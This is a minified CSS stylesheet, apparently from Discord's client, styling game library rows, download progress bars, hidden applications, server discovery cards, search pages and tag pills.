.rowWrapperDim-2Y1SDG .nameBodyCell-3JOlnK, .rowWrapperDim-2Y1SDG .settingIcon-1nXguX, .rowWrapperDim-2Y1SDG .textCell-1aBIUP { opacity: 0.2; }

.rowWrapper-2fB6P0 + .rowWrapperActive-2L7i9f .row-ZLfFhY, .rowWrapperActive-2L7i9f + .rowWrapper-2fB6P0 .row-ZLfFhY { border-top-color: transparent; }

.theme-dark .emptyWumpus-12J3jI { background: url("https://discord.com/assets/e0989b9d43cd9ca4417b49f4f8fbebc6.svg"); }

.theme-light .emptyWumpus-12J3jI { background: url("https://discord.com/assets/10883f4297b061ad31a056bcf2191699.svg"); }

@media (max-width: 1200px) {
  .settingIcons-3QYa5E { display: none; }
  .emptyStateSmall-2Ttdgm { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }
  .emptyStateSmall-2Ttdgm .emptyStateText-1CEHF_ { text-align: center; margin-left: 20px; }
  .emptyStateSmall-2Ttdgm .emptyWumpus-12J3jI { margin-left: 0px; margin-right: 0px; }
  .emptyStateSmall-2Ttdgm .emptyStateButtons-2u6vlI { -webkit-box-pack: center; justify-content: center; }
}

@media (max-width: 980px) {
  .platformCell-XyBBs6 { display: none; }
}

@media (max-width: 860px) {
  .lastPlayedCell-2arbtc { display: none; }
}

@media (max-width: 780px) {
  .rowWrapper-2fB6P0 { margin: 0px 8px; }
  .header-39GIC8 { padding: 0px 24px 8px; }
}

.progress-5tMCVk { position: relative; width: 100%; overflow: hidden; transform: translateZ(0px); }

.progressBar-3zryPV { position: absolute; width: 100%; }

.animating-LLJeAN { transition: transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.xsmall-2LuBKD { height: 4px; }

.small-4dgL9e, .xsmall-2LuBKD { border-radius: 3px; }

.small-4dgL9e { height: 6px; }

.large-2ObtSP { height: 8px; border-radius: 4px; }

.canvas-vcIIha { width: 100%; height: 100%; }

.monitor-16FZmL { width: 100%; height: 24px; }

.overflowContainer-3Px9Jk { -webkit-mask: linear-gradient(90deg, transparent, rgb(0, 0, 0) 50%, rgb(0, 0, 0) 97%, transparent); overflow: hidden; width: 100%; }

.text-UALi1A { font-size: 10px; line-height: 12px; text-transform: uppercase; white-space: nowrap; width: 70px; margin-right: 0px; }

.title-1rXJ86 { font-weight: 600; color: currentcolor; }

.rate-1Gat8e { font-weight: 500; }

.sparkChart-1mzaPT { height: 24px; }

.theme-dark .rate-1Gat8e { color: rgb(114, 118, 125); }

.table-2BOVTY { width: 100%; }

.gameUpdates-2GPqBU { transform: translateZ(0px); background-color: var(--background-tertiary); }

.headerRow-2xTwL8 { padding: 20px 28px 12px; display: flex; }

.headerCell-1ucI8T { box-sizing: border-box; margin-right: 40px; }

.headerCell-1ucI8T:last-child { margin-right: 0px; }

.diskProgress-37-Sik { color: var(--text-link); }

.networkProgress-2auspD { color: var(--text-positive); }

.row-2X_kYI { border-bottom: 1px solid var(--background-modifier-accent); margin: 0px 28px; padding: 16px 0px 10px; }

.row-2X_kYI:last-child { border-bottom: none; }

.cell-nWKOx7 { box-sizing: border-box; padding: 8px 8px 8px 20px; }

.nameCell-bbdv8D { cursor: pointer; width: 30%; flex-shrink: 0; padding-left: 8px; }

.progressCell-3JFYxP { width: 60%; }

.actionsCell-31fBWo { width: 10%; min-width: 98px; padding-right: 12px; padding-left: 12px; }

.nameCellHeader-3ioEGH { font-size: 18px; }

.nameCellText-Ubz8FY { font-weight: 600; margin-left: 20px; line-height: 1.25; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--header-primary); }

.progressCellHeader-2-7Z16 { display: block; padding: 8px 8px 8px 20px; }

.progressCellBody-1PZmFW { display: flex; -webkit-box-align: center; align-items: center; padding-left: 13px; }

.progressCellText-3avmMz { margin-top: 4px; font-size: 12px; font-weight: 500; text-transform: uppercase; color: var(--text-muted); }

.infoIcon-2h6crV { opacity: 0.3; width: 24px; height: 24px; }

.actionButton-4w4-EY { margin-left: 8px; }

.actionButton-4w4-EY:first-child { margin-left: 0px; }

.actionButton-4w4-EY .actionButtonContents-1bdeMq { display: flex; }

.gameActionButton-1PpUxH { min-width: 72px; }

.actionIcon-3Pm3FL { width: 24px; height: 24px; opacity: 0.6; }

.container-19hC9u { position: relative; }

.scroller-1IIF0A { background-color: var(--background-primary); contain: size layout; }

.stickyScroller-24zUyY { transform: translateZ(0px); }

.wrapper-1u09nF { position: relative; width: 50px; height: 50px; flex-shrink: 0; }

.svg-3yO_hc { transform: rotate(-86deg); }

.path-3H_ZFA { fill: none; stroke-width: 4px; }

.background-yZEZik, .foreground-2aE44H { }

.foreground-2aE44H { stroke-dashoffset: 0; stroke-miterlimit: 10; stroke-linecap: round; transition: stroke 0.3s ease 0s, stroke-dasharray 0.3s ease-out 0s; }

.usageInfo-2WQAwr { position: absolute; top: 19px; left: 11px; width: 30px; font-size: 12px; font-weight: 600; line-height: 12px; text-align: center; overflow: hidden; }

.theme-dark .background-yZEZik { stroke: rgb(79, 84, 92); }

.theme-dark .usageInfo-2WQAwr { color: rgb(185, 187, 190); }

.theme-light .background-yZEZik { stroke: rgb(220, 221, 222); }

.theme-light .usageInfo-2WQAwr { color: rgb(79, 84, 92); }

.hoverRoll-YK53gQ { display: inline-block; vertical-align: top; cursor: default; text-align: left; box-sizing: border-box; position: relative; width: 100%; contain: paint; }

.hoverRoll-YK53gQ.forceHover-10IIq8:not(.disabled-3Vq5Ov) .default-3sgIpy, .hoverRoll-YK53gQ:hover:not(.disabled-3Vq5Ov) .default-3sgIpy { transform: translate3d(0px, -107%, 0px); opacity: 0; user-select: none; }

.hoverRoll-YK53gQ.forceHover-10IIq8:not(.disabled-3Vq5Ov) .hovered-d5PMVU, .hoverRoll-YK53gQ:hover:not(.disabled-3Vq5Ov) .hovered-d5PMVU { transform: translateZ(0px); opacity: 1; }

.default-3sgIpy, .hovered-d5PMVU { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; display: block; transition: all 0.22s ease 0s; transform-style: preserve-3d; pointer-events: none; width: 100%; }

.hovered-d5PMVU { opacity: 0; transform: translate3d(0px, 107%, 0px); position: absolute; inset: 0px; }

.wrapper-3Lw29Y { margin-top: 60px; }

.installationPath-3cStrB { padding: 20px 0px; }

.installationPathEditing-1ecsKV { padding: 19px; margin-left: -20px; margin-right: -20px; }

.separator-3JyZKG { margin-top: 20px; margin-bottom: 20px; }

.defaultIndicator-3WqGFB { display: flex; -webkit-box-align: center; align-items: center; font-size: 11px; height: 14px; padding: 0px 4px; margin-left: 8px; letter-spacing: 0.4px; text-align: center; border-radius: 3px; text-transform: uppercase; font-weight: 700; }

.rowBody-3dJTTZ { margin-top: 4px; font-size: 14px; height: 16px; }

.buttonRowWrapper-3taTnj { margin-top: 20px; display: flex; -webkit-box-pack: end; justify-content: flex-end; }

.defaultLocationCheckbox-3HMIPO { margin-top: 20px; }

.theme-dark .installationPath-3cStrB { box-shadow: rgb(79, 84, 92) 0px 1px 0px 0px; }

.theme-dark .rowTitle-1KYtY7 { color: rgb(220, 221, 222); }

.theme-dark .rowBody-3dJTTZ { color: rgb(114, 118, 125); }

.theme-dark .defaultLocationCheckbox-3HMIPO { color: rgb(246, 246, 247); }

.theme-dark .defaultIndicator-3WqGFB { background-color: rgb(79, 84, 92); color: rgb(255, 255, 255); }

.theme-light .installationPath-3cStrB { box-shadow: rgb(220, 221, 222) 0px 1px 0px 0px; }

.theme-light .rowTitle-1KYtY7 { color: rgb(79, 84, 92); }

.theme-light .rowBody-3dJTTZ { color: rgba(114, 118, 125, 0.6); }

.theme-light .defaultLocationCheckbox-3HMIPO { color: rgb(79, 84, 92); }

.theme-light .defaultIndicator-3WqGFB { background-color: rgb(79, 84, 92); color: rgb(255, 255, 255); }

.scroller-2XE8rp { background-color: var(--background-primary); contain: size layout; }

.body-3s3lDR { max-width: 660px; margin: 0px auto; padding: 40px 0px; }

.hiddenLibraryApplications-2C70Ov { margin-top: 60px; }

.hiddenLibraryApplications-2C70Ov:first-child { margin-top: 20px; }

.hiddenLibraryApplicationContent-2Q-kwE { z-index: 1; }

.hiddenLibraryApplicationsTitle-xEDJHH { margin-bottom: 8px; }

.hiddenLibraryApplication-T6N3U1 { display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; position: relative; padding: 20px 0px; border-top: 1px solid; }

.hiddenLibraryApplication-T6N3U1:last-of-type { border-bottom: 1px solid; }

.hiddenLibraryApplication-T6N3U1:last-of-type:hover { border-bottom-color: transparent; }

.hiddenLibraryApplication-T6N3U1:hover .restoreButton-3jU0Z6 { opacity: 1; }

.restoreButton-3jU0Z6 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; width: 24px; height: 24px; padding: 0px; opacity: 0; transition: opacity 0.1s ease 0s; position: absolute; top: -12px; right: -31px; border-radius: 50%; min-height: 0px; min-width: 0px; cursor: pointer; }

.restoreIcon-28gQmF { width: 11px; height: 11px; }

.applicationName-2toV6z { font-size: 16px; font-weight: 600; line-height: 22px; }

.applicationSubText-2V8LSK { margin-top: 2px; font-size: 14px; font-weight: 500; line-height: 16px; }

.theme-dark .applicationName-2toV6z { color: rgb(246, 246, 247); }

.theme-dark .applicationSubText-2V8LSK { color: rgb(114, 118, 125); }

.theme-dark .hiddenLibraryApplication-T6N3U1 { border-color: rgb(79, 84, 92); }

.theme-dark .hiddenLibraryApplication-T6N3U1:first-of-type, .theme-dark .hiddenLibraryApplication-T6N3U1:hover, .theme-dark .hiddenLibraryApplication-T6N3U1:hover + .hiddenLibraryApplication-T6N3U1 { border-top-color: transparent; }

.theme-dark .hiddenLibraryApplication-T6N3U1::before { background: rgba(32, 34, 37, 0.3); border-color: rgb(32, 34, 37); }

.theme-dark .restoreButton-3jU0Z6 { background: rgb(54, 57, 63); box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.3) 0px 1px 5px 0px; }

.theme-dark .restoreButton-3jU0Z6:hover { background: rgb(47, 49, 54); box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .restoreIcon-28gQmF { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-light .applicationName-2toV6z { color: rgb(79, 84, 92); }

.theme-light .applicationSubText-2V8LSK { color: rgba(114, 118, 125, 0.6); }

.theme-light .hiddenLibraryApplication-T6N3U1 { border-color: rgba(185, 187, 190, 0.3); }

.theme-light .hiddenLibraryApplication-T6N3U1:first-of-type, .theme-light .hiddenLibraryApplication-T6N3U1:hover, .theme-light .hiddenLibraryApplication-T6N3U1:hover + .hiddenLibraryApplication-T6N3U1 { border-top-color: transparent; }

.theme-light .hiddenLibraryApplication-T6N3U1::before { background-color: rgba(246, 246, 247, 0.6); border-color: rgb(220, 221, 222); }

.theme-light .restoreButton-3jU0Z6 { background: rgb(255, 255, 255); box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 5px 0px; }

.theme-light .restoreButton-3jU0Z6:hover { background: rgb(246, 246, 247); box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .restoreIcon-28gQmF { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.container-3Mxszk { overflow: hidden; -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.tagContainer-JuHnDN { width: 100%; margin-bottom: 8px; }

.invisible-1O7r4E { visibility: hidden; }

.tag-3vHqSU { cursor: pointer; display: inline-block; border-radius: 4px; margin-right: 4px; margin-bottom: 4px; font-size: 0.875rem; color: var(--interactive-normal); }

.tag-3vHqSU:hover { color: var(--interactive-hover); }

.tag-3vHqSU:active { color: var(--interactive-active); }

.tagText-2uA7Zc { padding: 4px 8px; }

.tagDefault-D3Yz9K { background-color: var(--background-primary); }

.tagLight-1S7anq { background-color: rgb(255, 255, 255); color: hsl(235,calc(var(--saturation-factor, 1)*46.7%),44.1%); }

.tagLight-1S7anq:hover { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); color: rgb(255, 255, 255); }

.tagAlt-15OHni { background-color: var(--background-secondary-alt); }

.hide-20AeT2 { position: absolute; visibility: hidden; }

.overflowTagsPopout-5ebNGO { border-radius: 4px; padding: 12px; width: 200px; }

.theme-dark .overflowTagsPopout-5ebNGO { background-color: var(--background-floating); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px, rgba(32, 34, 37, 0.6) 0px 0px 0px 1px; color: rgba(255, 255, 255, 0.8); }

.theme-light .tag-3vHqSU { background-color: var(--background-secondary); }

.theme-light .tagLight-1S7anq { background-color: rgb(255, 255, 255); color: hsl(235,calc(var(--saturation-factor, 1)*46.7%),44.1%); }

.theme-light .tagLight-1S7anq:hover { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); color: rgb(255, 255, 255); }

.theme-light .overflowTagsPopout-5ebNGO { background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px, rgba(185, 187, 190, 0.3) 0px 0px 0px 1px; color: rgba(79, 84, 92, 0.8); }

.card-3DjzTQ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 320px; width: 100%; overflow: hidden; border-radius: 8px; position: relative; transition: box-shadow 0.2s ease-out 0s, transform 0.2s ease-out 0s, background 0.2s ease-out 0s, opacity 0.2s ease-in 0s, -webkit-box-shadow 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; cursor: pointer; background-color: var(--activity-card-background); }

.cardWithTags-Ztfk8a { height: 350px; }

.iconMask-3b8GzQ { transition: box-shadow 0.2s ease-out 0s, transform 0.2s ease-out 0s, background 0.2s ease-out 0s, -webkit-box-shadow 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.card-3DjzTQ:focus, .card-3DjzTQ:hover { transform: translateY(-1px); box-shadow: var(--elevation-high); }

.card-3DjzTQ:focus .splash-3N0nhD, .card-3DjzTQ:hover .splash-3N0nhD { transform: scale(1.01) translateZ(0px); }

@-webkit-keyframes placeholderPulse-3szywu { 
  0% { opacity: 0.6; }
  50% { opacity: 0.8; }
  100% { opacity: 0.6; }
}

@keyframes placeholderPulse-3szywu { 
  0% { opacity: 0.6; }
  50% { opacity: 0.8; }
  100% { opacity: 0.6; }
}

.cardPlaceholder-1zrbbe { animation: 1.8s ease-in-out 0s infinite normal none running placeholderPulse-3szywu; background-color: var(--background-tertiary); }

.cardHeader-Int16m { height: 143px; position: relative; display: block; overflow: visible; margin-bottom: 32px; }

.splash-3N0nhD { display: block; position: absolute; top: 0px; left: 0px; transition: opacity 0.2s ease 0s, transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; transform: scale(1); opacity: 0; }

.splash-3N0nhD, .splashImage-1wJ3Sk { width: 100%; height: 100%; }

.splashImage-1wJ3Sk { object-fit: cover; }

.loaded-1eBnjq { position: relative; }

.loaded-1eBnjq .splash-3N0nhD { opacity: 1; }

.guildIcon-3W0pfo { position: absolute; bottom: -21px; left: 12px; }

.iconMask-3b8GzQ { padding: 4px; background-color: var(--activity-card-background); }

.avatar-22otdK { width: 100%; height: 100%; }

.guildInfo-2wGKIg { -webkit-box-flex: 1; flex: 1 1 auto; position: relative; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; align-content: stretch; padding: 0px 16px 16px; overflow: hidden; }

.guildInfo-2wGKIg, .title-OqQvkN { display: flex; }

.title-OqQvkN { -webkit-box-align: center; align-items: center; width: 100%; font-weight: 600; }

.guildBadge-RlDbED { -webkit-box-flex: 0; flex: 0 0 16px; width: 16px; height: 16px; margin-right: 4px; margin-left: -2px; }

.guildName-1yURO5 { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.description-2QALGo { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; margin: 4px 0px 16px; display: -webkit-box; -webkit-line-clamp: 4; -webkit-box-orient: vertical; }

.memberInfo-3r4FKx { -webkit-box-flex: 0; flex: 0 0 auto; }

.memberCount-1a8ALW, .memberInfo-3r4FKx { display: flex; -webkit-box-align: center; align-items: center; }

.memberCount-1a8ALW { font-size: 0.75rem; line-height: 1rem; margin-right: 16px; }

.memberCount-1a8ALW:last-child { margin-right: 0px; }

.dotOnline-8Ag7EB { border-radius: 50%; width: 8px; height: 8px; margin-right: 4px; flex-shrink: 0; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.dotOffline-3DXoDy { background-color: rgb(185, 187, 190); }

.loading-17PYl_ { position: relative; border-radius: 5px; background-color: var(--channeltextarea-background); }

.submitting-1aI0iz { opacity: 0.5; pointer-events: none; }

.spinner-3lb-NU { width: 48px; height: 48px; border-radius: 8px; background-color: rgb(24, 25, 28); top: 50%; left: 50%; transform: translate(-50%, -50%); position: absolute; z-index: 1; }

.theme-dark .card-3DjzTQ, .theme-dark .iconMask-3b8GzQ { background-color: var(--background-secondary-alt); }

.theme-dark .card-3DjzTQ:hover, .theme-dark .card-3DjzTQ:hover .iconMask-3b8GzQ, .theme-dark .iconMask-3b8GzQ:hover, .theme-dark .iconMask-3b8GzQ:hover .iconMask-3b8GzQ { background-color: var(--background-tertiary); }

.theme-light .card-3DjzTQ { box-shadow: 0 0 0 1px rgba(185,187,190,0.3),var(--elevation-medium); }

.theme-light .card-3DjzTQ:focus, .theme-light .card-3DjzTQ:hover { box-shadow: var(--elevation-high); }

.guildListSection-2CS8vH { width: 100%; margin-bottom: 32px; min-width: 580px; }

.subtitle-160Q0A { margin-top: 4px; }

.guildList-3cJX3d { margin-top: 16px; display: grid; gap: 16px; grid-template-columns: repeat(auto-fill, minmax(248px, 1fr)); }

.container-V70vZ2 { display: flex; -webkit-box-pack: start; justify-content: flex-start; margin-top: 16px; }

.container-V70vZ2.searchPage-3GKAdT { margin-bottom: 16px; margin-top: 0px; }

.search-1iTphC { width: 100%; max-width: 560px; position: relative; margin: auto auto 16px; }

.search-1iTphC .searchBox-2_mAlO { z-index: 2; background-color: rgb(255, 255, 255); padding-right: 8px; }

.search-1iTphC .searchBox-2_mAlO:focus, .search-1iTphC .searchBox-2_mAlO:focus-within { box-shadow: rgb(91, 67, 240) 0px 0px 0px 1px, rgb(189, 179, 249) 0px 0px 0px 2px, rgb(189, 179, 249) 0px 0px 0px 3px; border-color: transparent; }

.search-1iTphC .searchBox-2_mAlO .searchBoxInput-K6mkng { font-size: 16px; padding: 8px; color: rgb(46, 51, 56); }

.search-1iTphC .searchBox-2_mAlO .searchBoxInput-K6mkng::-webkit-input-placeholder { color: rgb(114, 118, 125); }

.search-1iTphC .searchBox-2_mAlO .searchBoxInput-K6mkng::placeholder { color: rgb(114, 118, 125); }

.search-1iTphC .searchBox-2_mAlO .closeIcon-2WLZc1 { color: rgb(79, 86, 96); }

.search-1iTphC .searchBox-2_mAlO .closeIcon-2WLZc1:hover { color: rgb(46, 51, 56); }

.search-1iTphC .searchBox-2_mAlO .searchIcon-6ljH-4 { color: rgba(79, 84, 92, 0.6); }

.searchPage-3GKAdT .search-1iTphC { width: auto; -webkit-box-flex: 2; flex-grow: 2; margin: 0px; max-width: 720px; }

.languageSelector-LEtpHP { -webkit-box-flex: 0; flex: 0 0 120px; margin-left: 8px; }

.categories-1ywIbh { display: flex; margin-bottom: 20px; -webkit-box-align: center; align-items: center; flex-wrap: wrap; max-width: 848px; }

.categoryPill-34fszg { margin-right: 8px; margin-bottom: 4px; padding: 4px 8px; text-align: center; cursor: pointer; border-radius: 8px; }

.categoryPill-34fszg .categoryLabel-2G3r2V { color: var(--text-muted); font-weight: 600; }

.categoryPill-34fszg:hover:not(.selected-1dONk0) { background-color: var(--background-modifier-hover); }

.categoryPill-34fszg.selected-1dONk0 { background-color: var(--brand-experiment); color: rgb(255, 255, 255); }

.categoryPill-34fszg.selected-1dONk0 .categoryLabel-2G3r2V { color: rgb(255, 255, 255); }

.card-PN0gR4 { position: relative; }

.container-1lb8C4 { cursor: pointer; transition: opacity 0.2s ease-in 0s; }

.container-1lb8C4, .content-eOXYoI { display: flex; }

.content-eOXYoI { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: baseline; align-items: baseline; width: 100%; height: 135px; }

.contentWithTags-2OLImX { height: 180px; }

.header-26TfPy { display: flex; -webkit-box-align: start; align-items: start; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.splashContainer-enaItk { height: 135px; border-radius: 8px; margin-right: 16px; overflow: hidden; flex-shrink: 0; }

.splashContainerWithTags-1SAeyK { height: 180px; }

.splashImage-3dNUXz { height: 100%; object-fit: cover; transition: transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.avatar-2lilGd { width: 100%; height: 100%; cursor: pointer; }

.headerName-3ZW18n { cursor: pointer; display: flex; -webkit-box-align: center; align-items: center; margin-top: 8px; }

.hover-14OzK0 .splashImage-3dNUXz { transform: scale(1.05); }

.guildBadge-3OK_Cb { margin-right: 4px; }

.description-3aZrrC { margin-top: 8px; margin-bottom: auto; }

.memberCount-22PLkX, .memberInfo-zIUYYk { display: flex; -webkit-box-align: center; align-items: center; }

.memberCount-22PLkX { font-size: 12px; line-height: 16px; }

.dotSeparator-2uCyHI { border-radius: 50%; width: 4px; height: 4px; margin: 0px 8px; flex-shrink: 0; background-color: var(--interactive-muted); }

.separator--hF0sm { width: 100%; height: 0px; display: block; border-right: none; border-bottom: none; border-left: none; border-image: initial; border-top: 1px solid var(--background-modifier-accent); }

@-webkit-keyframes placeholderPulse-2y4UWL { 
  0% { opacity: 0.6; }
  50% { opacity: 0.8; }
  100% { opacity: 0.6; }
}

@keyframes placeholderPulse-2y4UWL { 
  0% { opacity: 0.6; }
  50% { opacity: 0.8; }
  100% { opacity: 0.6; }
}

.placeholder-1P4iLB { height: 136px; border-radius: 8px; animation: 1.8s ease-in-out 0s infinite normal none running placeholderPulse-2y4UWL; background-color: var(--background-tertiary); }

.submitting-1lERm7 { opacity: 0.5; pointer-events: none; }

.spinner-3yhqmI { width: 48px; height: 48px; border-radius: 8px; background-color: rgb(24, 25, 28); top: 50%; left: 50%; transform: translate(-50%, -50%); position: absolute; z-index: 1; }

.pageWrapper-1PgVDX { width: 100%; position: relative; }

.platform-osx .pageHeaderDrag-OPlmbm { -webkit-app-region: drag; }

.viewWrapper-8-8h4T { width: 100%; height: 100%; max-width: 1608px; margin: 0px auto; }

.viewWrapper-8-8h4T.searchPage-3m5ssC { margin: 0px; }

.scroller-1d5FgU { padding: 16px; height: 100%; }

@media (min-width: 1129px) {
  .scroller-1d5FgU { padding: 32px; }
}

.dragRegion-1CaXN- { position: absolute; top: 0px; left: 0px; width: 100%; height: 100px; }

.dragRegion-1CaXN-.searchPageDrag-3TmAeh { height: 50px; }

.searchHeader-2I26nG { position: relative; text-align: center; margin-bottom: 32px; min-height: 200px; }

.headerImage-3X1tyY { display: inherit; border-radius: 8px; width: 100%; height: auto; }

.headerContentWrapper-2u32yq { position: absolute; inset: 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.headerContent-2gImvv { width: 100%; min-width: 360px; max-width: 720px; margin: 0px 240px; }

.headerTagContainer-6hs3ZN { max-width: 560px; margin: auto; }

.searchTitle-36D1cB { color: rgb(255, 255, 255); }

.searchSubtitle-2jsC5X { color: rgb(255, 255, 255); margin-top: 8px; }

.guildList-1ItbxP { display: grid; gap: 16px; grid-template-columns: auto; grid-auto-rows: min-content; -webkit-box-align: stretch; align-items: stretch; max-width: 760px; margin: 0px; }

@media (max-width: 1265px) {
  .searchTitle-36D1cB { font-size: 20px; }
  .searchSubtitle-2jsC5X { font-size: 14px; }
}

.footer-2jdoRS { padding-bottom: 32px; text-align: center; }

.footerImage-1CwWjz { margin-bottom: 8px; }

.theme-dark .pageWrapper-1PgVDX { background-color: rgb(54, 57, 63); color: rgb(255, 255, 255); }

.theme-light .pageWrapper-1PgVDX { background-color: rgb(255, 255, 255); color: rgb(79, 84, 92); }

.container-1A4qMb { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; }

.container-1A4qMb, .searchHeader-14dJfk { display: flex; }

.searchHeader-14dJfk { -webkit-box-align: center; align-items: center; margin-bottom: 16px; }

.header-1URtb6 { color: var(--header-secondary); margin-left: 20px; }

.header-1URtb6 strong { color: var(--header-primary); }

.arrow-3Qp2S8 { cursor: pointer; color: var(--interactive-normal); }

.arrow-3Qp2S8:hover { color: var(--interactive-hover); }

.arrow-3Qp2S8:focus { color: var(--interactive-active); }

.results-2a-SSB { max-width: 720px; padding-bottom: 32px; }

.emptyContainer-1_gwCl { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; background-color: var(--background-secondary); padding: 80px 0px; max-width: 720px; border-radius: 8px; }

.emptyImage-1ABqhB { width: 314px; height: 145px; background-image: url("https://discord.com/assets/3c32e44f20ad22e786aed0252582983c.svg"); }

.emptyImage-1ABqhB, .errorImage-1StK2r { background-repeat: no-repeat; background-size: contain; }

.errorImage-1StK2r { width: 80px; height: 80px; background-image: url("https://discord.com/assets/8f0bbe7caf676d20bd2734881f173c5e.svg"); }

.emptyHeader-3hf8Hv { margin-top: 32px; margin-bottom: 8px; }

.ctaContainer-22FgCU { max-width: 720px; }

.card-2rAhFa { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 246px; width: 100%; overflow: hidden; border-radius: 8px; position: relative; transition: box-shadow 0.2s ease-out 0s, transform 0.2s ease-out 0s, background 0.2s ease-out 0s, opacity 0.2s ease-in 0s, -webkit-box-shadow 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; cursor: pointer; background-color: var(--activity-card-background); }

.shortCard-39doER { height: 216px; }

.iconMask-10Cbfh { transition: box-shadow 0.2s ease-out 0s, transform 0.2s ease-out 0s, background 0.2s ease-out 0s, -webkit-box-shadow 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; }

.card-2rAhFa:focus, .card-2rAhFa:hover { transform: translateY(-1px); box-shadow: var(--elevation-high); }

.card-2rAhFa:focus .splash-3KzX0r, .card-2rAhFa:hover .splash-3KzX0r { transform: scale(1.01) translateZ(0px); }

.cardHeader-3d-tri { height: 143px; position: relative; display: block; overflow: visible; margin-bottom: 32px; }

.splash-3KzX0r { display: block; position: absolute; top: 0px; left: 0px; transition: opacity 0.2s ease 0s, transform 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; transform: scale(1); opacity: 0; }

.splash-3KzX0r, .splashImage-20OBQ2 { width: 100%; height: 100%; }

.splashImage-20OBQ2 { object-fit: cover; }

.loaded-2KuHHt { position: relative; }

.loaded-2KuHHt .splash-3KzX0r { opacity: 1; }

.loading-3Mq18g { position: relative; border-radius: 5px; background-color: var(--channeltextarea-background); }

.guildIcon-2brHNZ { position: absolute; bottom: -21px; left: 12px; }

.name-1w-e15 { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }

.iconMask-10Cbfh { padding: 4px; background-color: var(--activity-card-background); }

.avatar-UBGlXT { width: 100%; height: 100%; }

.info-gVps43 { -webkit-box-flex: 1; flex: 1 1 auto; position: relative; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; align-content: stretch; padding: 0px 16px 16px; overflow: hidden; }

.info-gVps43, .title-20dVLw { display: flex; }

.title-20dVLw { -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; width: 100%; font-weight: 600; }

.subtitle-23or7Z { margin-top: 4px; }

.theme-dark .card-2rAhFa, .theme-dark .iconMask-10Cbfh { background-color: var(--background-secondary-alt); }

.theme-dark .card-2rAhFa:hover, .theme-dark .card-2rAhFa:hover .iconMask-10Cbfh, .theme-dark .iconMask-10Cbfh:hover, .theme-dark .iconMask-10Cbfh:hover .iconMask-10Cbfh { background-color: var(--background-tertiary); }

.theme-light .card-2rAhFa { box-shadow: 0 0 0 1px rgba(185,187,190,0.3),var(--elevation-medium); }

.theme-light .card-2rAhFa:focus, .theme-light .card-2rAhFa:hover { box-shadow: var(--elevation-high); }

.container-3WrP6S { padding: 16px; border-radius: 8px; background-color: var(--background-secondary-alt); -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 320px; box-sizing: border-box; }

.container-3WrP6S, .iconContainer-27DuH- { display: flex; }

.iconContainer-27DuH- { height: 48px; width: 48px; border-radius: 48px; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); margin-bottom: 16px; }

.icon-3rDfhS { width: 24px; height: 24px; background-image: url("https://discord.com/assets/8b7165c3ca8f930bf6a1cf4ad12de85a.svg"); }

.header-1d65jP { margin-bottom: 16px; }

.gap-rZ5eV1 { -webkit-box-flex: 1; flex: 1 1 0%; }

.addButton-1YFqaW { font-weight: 600; color: rgb(255, 255, 255); }

.guildListSection-1zErMM { width: 100%; margin-bottom: 32px; min-width: 580px; }

.subtitle-zL0wfc { margin-top: 4px; }

.guildList-GmgkOb { margin-top: 16px; display: grid; gap: 16px; grid-template-columns: repeat(auto-fill, minmax(248px, 1fr)); }

.container-1EB6d8 { display: flex; width: 100%; height: 100%; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

